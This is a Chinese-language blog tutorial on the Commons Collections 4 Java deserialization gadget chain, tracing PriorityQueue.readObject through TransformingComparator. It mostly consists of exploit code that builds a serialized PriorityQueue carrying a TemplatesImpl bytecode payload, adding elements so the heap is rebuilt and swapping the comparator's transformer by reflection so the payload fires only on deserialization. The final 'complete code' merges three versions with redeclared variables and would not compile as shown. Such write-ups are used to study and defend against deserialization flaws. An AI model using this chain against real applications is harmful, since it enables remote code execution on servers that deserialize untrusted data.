cc4

毛利_小五郎發表於2024-07-25

CC4

第一步:分析鏈

TransformingComparator這個類中的compare()方法呼叫了 transform() 方法。而 compare() 這個方法也是我們比較喜歡的這種,因為它非常常見。

 public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

找下一個呼叫compare()的地方,在PriorityQueuesiftDownUsingComparator

 private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

找誰呼叫了siftDownUsingComparator(),在這個類的siftDown()

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

找誰呼叫了siftDown(),在這個類的heapify

   private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

heapify()readobject()裡面

 private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

第二步

直接寫程式碼

 TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    serialize(priorityQueue);
    unserialize("ser.bin");

但是發現什麼也有沒有發生,除錯一下,在readobject下個斷點
發現問題出在heapify()

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

這個size沒有賦值,為0,然後size >>> 1後也為0,我們要給他賦值。
value >>> num -- num 指定要移位值 value 移動的位數

要修改 Size,必然要先明白 Size 是什麼,Size 就是 PriorityQueue 這個佇列的長度,簡單理解,就是陣列的長度。現在我們這個陣列的長度為 0,0 - 1 = -1,所以會直接跳出迴圈,不能彈計算器。

priorityQueue.add(1); priorityQueue.add(2);
這樣就可以讓他成功執行,我們試試

   TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);

第三步

雖然可以成功彈計算器,但是現在我們寫的這個 EXP 還是會報錯的,報錯原因如下:

在我們進行 priorityQueue.add(1) 這個語句的時候,它內部會自動進行 compare() 方法的執行,然後呼叫 transform(),現在的這種情況就意味著,我還沒有開始序列化與反序列化,程式碼就跳到彈計算器那裡去了

我們來解析一下:
add()函式

public boolean add(E e) {
    return offer(e);
}

然後進入offer()

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

因為e不為null,i不為0,進入siftUP()

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

comparator不為null,進入siftUpUsingComparator(k, x)

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

呼叫compare,成功執行,所以我們要避免這種情況

第四步

    TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

將其中的一個引數修改,可以先讓 transformingComparator 的值成為一個無關的物件,在 add 完之後再用反射修改。

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, chainedTransformer);

修改完的程式碼

   TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, chainedTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");

完整程式碼

public class cc4 {
public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    serialize(priorityQueue);
    unserialize("ser.bin");//第一步

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);//第二步


    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
            new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, chainedTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");




}

public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    Object obj = ois.readObject();
    ois.close();
    return obj;
}

}